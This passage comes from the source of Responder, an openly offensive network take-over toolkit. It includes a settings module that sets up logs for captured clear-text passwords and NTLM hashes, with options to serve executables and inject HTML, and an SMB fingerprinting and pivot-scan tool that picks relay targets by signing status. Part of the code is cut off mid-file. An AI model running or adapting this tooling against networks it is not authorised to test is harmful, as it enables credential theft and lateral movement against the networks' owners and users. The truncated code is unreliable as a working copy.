self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') 112 | self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') 113 | self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') 114 | self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') 115 | 116 | self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') 117 | self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') 118 | self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') 119 | self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') 120 | self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') 121 | self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') 122 | self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') 123 | self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') 124 | self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') 125 | self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') 126 | 127 | # HTTP Options 128 | self.Serve_Exe = self.toBool(config.get('HTTP Server', 'Serve-Exe')) 129 | self.Serve_Always = self.toBool(config.get('HTTP Server', 'Serve-Always')) 130 | self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) 131 | self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') 132 | self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') 133 | self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName') 134 | self.WPAD_Script = config.get('HTTP Server', 'WPADScript') 135 | self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') 136 | 137 | if not os.path.exists(self.Html_Filename): 138 | print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) 139 | 140 | if not os.path.exists(self.Exe_Filename): 141 | print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) 142 | 143 | # SSL Options 144 | self.SSLKey = config.get('HTTPS Server', 'SSLKey') 145 | self.SSLCert = config.get('HTTPS Server', 'SSLCert') 146 | 147 | # Respond to hosts 148 | self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) 149 | self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) 150 | self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) 151 | self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) 152 | 153 | # Auto Ignore List 154 | self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) 155 | self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) 156 | self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) 157 | self.AutoIgnoreList = [] 158 | 159 | # CLI options 160 | self.ExternalIP = options.ExternalIP 161 | self.LM_On_Off = options.LM_On_Off 162 | self.WPAD_On_Off = options.WPAD_On_Off 163 | self.Wredirect = options.Wredirect 164 | self.NBTNSDomain = options.NBTNSDomain 165 | self.Basic = options.Basic 166 | self.Finger_On_Off = options.Finger 167 | self.Interface = options.Interface 168 | self.OURIP = options.OURIP 169 | self.Force_WPAD_Auth = options.Force_WPAD_Auth 170 | self.Upstream_Proxy = options.Upstream_Proxy 171 | self.AnalyzeMode = options.Analyze 172 | self.Verbose = options.Verbose 173 | self.ProxyAuth_On_Off = options.ProxyAuth_On_Off 174 | self.CommandLine = str(sys.argv) 175 | 176 | if self.ExternalIP: 177 | self.ExternalIPAton = socket.inet_aton(self.ExternalIP) 178 | 179 | if self.HtmlToInject is None: 180 | self.HtmlToInject = '' 181 | 182 | self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) 183 | 184 | if self.Interface == "ALL": 185 | self.Bind_To_ALL = True 186 | else: 187 | self.Bind_To_ALL = False 188 | 189 | if self.Interface == "ALL": 190 | self.IP_aton = socket.inet_aton(self.OURIP) 191 | else: 192 | self.IP_aton = socket.inet_aton(self.Bind_To) 193 | 194 | self.Os_version = sys.platform 195 | 196 | # Set up Challenge 197 | self.NumChal = config.get('Responder Core', 'Challenge') 198 | if self.NumChal.lower() == 'random': 199 | self.NumChal = "random" 200 | 201 | if len(self.NumChal) is not 16 and not "random": 202 | print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) 203 | sys.exit(-1) 204 | 205 | self.Challenge = "" 206 | if self.NumChal.lower() == 'random': 207 | pass 208 | else: 209 | for i in range(0, len(self.NumChal),2): 210 | self.Challenge += self.NumChal[i:i+2].decode("hex") 211 | 212 | # Set up logging 213 | logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') 214 | logging.warning('Responder Started: %s' % self.CommandLine) 215 | 216 | Formatter = logging.Formatter('%(asctime)s - %(message)s') 217 | PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') 218 | ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') 219 | PLog_Handler.setLevel(logging.INFO) 220 | ALog_Handler.setLevel(logging.INFO) 221 | PLog_Handler.setFormatter(Formatter) 222 | ALog_Handler.setFormatter(Formatter) 223 | 224 | self.PoisonersLogger = logging.getLogger('Poisoners Log') 225 | self.PoisonersLogger.addHandler(PLog_Handler) 226 | 227 | self.AnalyzeLogger = logging.getLogger('Analyze Log') 228 | self.AnalyzeLogger.addHandler(ALog_Handler) 229 | 230 | try: 231 | NetworkCard = subprocess.check_output(["ifconfig", "-a"]) 232 | except: 233 | try: 234 | NetworkCard = subprocess.check_output(["ip", "address", "show"]) 235 | except subprocess.CalledProcessError as ex: 236 | NetworkCard = "Error fetching Network Interfaces:", ex 237 | pass 238 | try: 239 | DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) 240 | except subprocess.CalledProcessError as ex: 241 | DNS = "Error fetching DNS configuration:", ex 242 | pass 243 | try: 244 | RoutingInfo = subprocess.check_output(["netstat", "-rn"]) 245 | except: 246 | try: 247 | RoutingInfo = subprocess.check_output(["ip", "route", "show"]) 248 | except subprocess.CalledProcessError as ex: 249 | RoutingInfo = "Error fetching Routing information:", ex 250 | pass 251 | 252 | Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) 253 | try: 254 | utils.DumpConfig(self.ResponderConfigDump, Message) 255 | utils.DumpConfig(self.ResponderConfigDump,str(self)) 256 | except AttributeError as ex: 257 | print "Missing Module:", ex 258 | pass 259 | 260 | def init(): 261 | global Config 262 | Config = Settings() 263 | -------------------------------------------------------------------------------- /tools/SMBFinger/Finger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import re,sys,socket,struct 18 | import multiprocessing 19 | from socket import * 20 | from time import sleep 21 | from odict import OrderedDict 22 | 23 | __version__ = "0.7" 24 | 25 | Timeout = 2 26 | 27 | class Packet(): 28 | fields = OrderedDict([ 29 | ]) 30 | def __init__(self, **kw): 31 | self.fields = OrderedDict(self.__class__.fields) 32 | for k,v in kw.items(): 33 | if callable(v): 34 | self.fields[k] = v(self.fields[k]) 35 | else: 36 | self.fields[k] = v 37 | def __str__(self): 38 | return "".join(map(str, self.fields.values())) 39 | 40 | def longueur(payload): 41 | length = struct.pack(">i", len(''.join(payload))) 42 | return length 43 | 44 | class SMBHeader(Packet): 45 | fields = OrderedDict([ 46 | ("proto", "\xff\x53\x4d\x42"), 47 | ("cmd", "\x72"), 48 | ("error-code", "\x00\x00\x00\x00" ), 49 | ("flag1", "\x00"), 50 | ("flag2", "\x00\x00"), 51 | ("pidhigh", "\x00\x00"), 52 | ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), 53 | ("reserved", "\x00\x00"), 54 | ("tid", "\x00\x00"), 55 | ("pid", "\x00\x00"), 56 | ("uid", "\x00\x00"), 57 | ("mid", "\x00\x00"), 58 | ]) 59 | 60 | class SMBNego(Packet): 61 | fields = OrderedDict([ 62 | ("Wordcount", "\x00"), 63 | ("Bcc", "\x62\x00"), 64 | ("Data", "") 65 | ]) 66 | 67 | def calculate(self): 68 | self.fields["Bcc"] = struct.pack(" 255: 147 | OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) 148 | return OsVersion, ClientVersion 149 | if length <= 255: 150 | OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) 151 | return OsVersion, ClientVersion 152 | except: 153 | return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" 154 | 155 | def GetHostnameAndDomainName(data): 156 | try: 157 | DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) 158 | #If max length domain name, there won't be a \x00\x00\x00 delineator to split on 159 | if Hostname == '': 160 | DomainJoined = data[81:110].replace('\x00','') 161 | Hostname = data[113:].replace('\x00','') 162 | return Hostname, DomainJoined 163 | except: 164 | return "Could not get Hostname.", "Could not get Domain joined" 165 | 166 | def DomainGrab(Host): 167 | s = socket(AF_INET, SOCK_STREAM) 168 | try: 169 | s.settimeout(Timeout) 170 | s.connect(Host) 171 | except: 172 | print "Host down or port close, skipping" 173 | pass 174 | try: 175 | h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") 176 | n = SMBNegoDataLanMan() 177 | n.calculate() 178 | packet0 = str(h)+str(n) 179 | buffer0 = longueur(packet0)+packet0 180 | s.send(buffer0) 181 | data = s.recv(2048) 182 | s.close() 183 | if data[8:10] == "\x72\x00": 184 | return GetHostnameAndDomainName(data) 185 | except: 186 | pass 187 | 188 | def SmbFinger(Host): 189 | s = socket(AF_INET, SOCK_STREAM) 190 | try: 191 | s.settimeout(Timeout) 192 | s.connect(Host) 193 | except: 194 | print "Host down or port close, skipping" 195 | pass 196 | try: 197 | h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") 198 | n = SMBNego(Data = SMBNegoData()) 199 | n.calculate() 200 | packet0 = str(h)+str(n) 201 | buffer0 = longueur(packet0)+packet0 202 | s.send(buffer0) 203 | data = s.recv(2048) 204 | signing = IsSigningEnabled(data) 205 | if data[8:10] == "\x72\x00": 206 | head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") 207 | t = SMBSessionFingerData() 208 | t.calculate() 209 | packet0 = str(head)+str(t) 210 | buffer1 = longueur(packet0)+packet0 211 | s.send(buffer1) 212 | data = s.recv(2048) 213 | s.close() 214 | if data[8:10] == "\x73\x16": 215 | OsVersion, ClientVersion = OsNameClientVersion(data) 216 | return signing, OsVersion, ClientVersion 217 | except: 218 | pass 219 | 220 | def SmbFingerSigning(Host): 221 | s = socket(AF_INET, SOCK_STREAM) 222 | try: 223 | s.settimeout(Timeout) 224 | s.connect((Host, 445)) 225 | except: 226 | return False 227 | try: 228 | h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") 229 | n = SMBNego(Data = SMBNegoData()) 230 | n.calculate() 231 | packet0 = str(h)+str(n) 232 | buffer0 = longueur(packet0)+packet0 233 | s.send(buffer0) 234 | data = s.recv(2048) 235 | signing = IsSigningEnabled(data) 236 | return signing 237 | except: 238 | pass 239 | 240 | ################## 241 | #run it 242 | def ShowResults(Host): 243 | s = socket(AF_INET, SOCK_STREAM) 244 | try: 245 | s.settimeout(Timeout) 246 | s.connect(Host) 247 | except: 248 | return False 249 | 250 | try: 251 | Hostname, DomainJoined = DomainGrab(Host) 252 | Signing, OsVer, LanManClient = SmbFinger(Host) 253 | enabled = color("SMB signing is mandatory. Choose another target", 1, 1) 254 | disabled = color("SMB signing: False", 2, 1) 255 | print color("Retrieving information for %s..."%Host[0], 8, 1) 256 | print enabled if Signing else disabled 257 | print color("Os version: '%s'"%(OsVer), 8, 3) 258 | print color("Hostname: '%s'\nPart of the '%s' domain"%(Hostname, DomainJoined), 8, 3) 259 | except: 260 | pass 261 | 262 | def ShowSmallResults(Host): 263 | s = socket(AF_INET, SOCK_STREAM) 264 | try: 265 | s.settimeout(Timeout) 266 | s.connect(Host) 267 | except: 268 | return False 269 | 270 | try: 271 | Hostname, DomainJoined = DomainGrab(Host) 272 | Signing, OsVer, LanManClient = SmbFinger(Host) 273 | Message = color("\n[+] Client info: ['%s', domain: '%s', signing:'%s']"%(OsVer, DomainJoined, Signing),4,0) 274 | return Message 275 | except: 276 | pass 277 | 278 | 279 | def ShowScanSmallResults(Host): 280 | s = socket(AF_INET, SOCK_STREAM) 281 | try: 282 | s.settimeout(Timeout) 283 | s.connect(Host) 284 | except: 285 | return False 286 | 287 | try: 288 | Hostname, DomainJoined = DomainGrab(Host) 289 | Signing, OsVer, LanManClient = SmbFinger(Host) 290 | Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing) 291 | print Message 292 | except: 293 | pass 294 | 295 | 296 | def ShowSigning(Host): 297 | s = socket(AF_INET, SOCK_STREAM) 298 | try: 299 | s.settimeout(Timeout) 300 | s.connect((Host, 445)) 301 | except: 302 | print "[Pivot Verification Failed]: Target host is down" 303 | return True 304 | 305 | try: 306 | Signing = SmbFingerSigning(Host) 307 | if Signing == True: 308 | print "[Pivot Verification Failed]:Signing is enabled. Choose another host." 309 | return True 310 | else: 311 | return False 312 | except: 313 | pass 314 | 315 | 316 | def RunFinger(Host): 317 | m = re.search("/", str(Host)) 318 | if m : 319 | net,_,mask = Host.partition('/') 320 | mask = int(mask) 321 | net = atod(net) 322 | for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): 323 | ShowResults((host,445)) 324 | else: 325 | ShowResults((Host,445)) 326 | 327 | 328 | def RunPivotScan(Host, CurrentIP): 329 | m = re.search("/", str(Host)) 330 | if m : 331 | net,_,mask = Host.partition('/') 332 | mask = int(mask) 333 | net = atod(net) 334 | threads = [] 335 | for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): 336 | if CurrentIP == host: 337 | pass 338 | else: 339 | p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),)) 340 | threads.append(p) 341 | p.start() 342 | sleep(1) 343 | else: 344 | ShowScanSmallResults((Host,445)) 345 | 346 | 347 | --------------------------------------------------------------------------------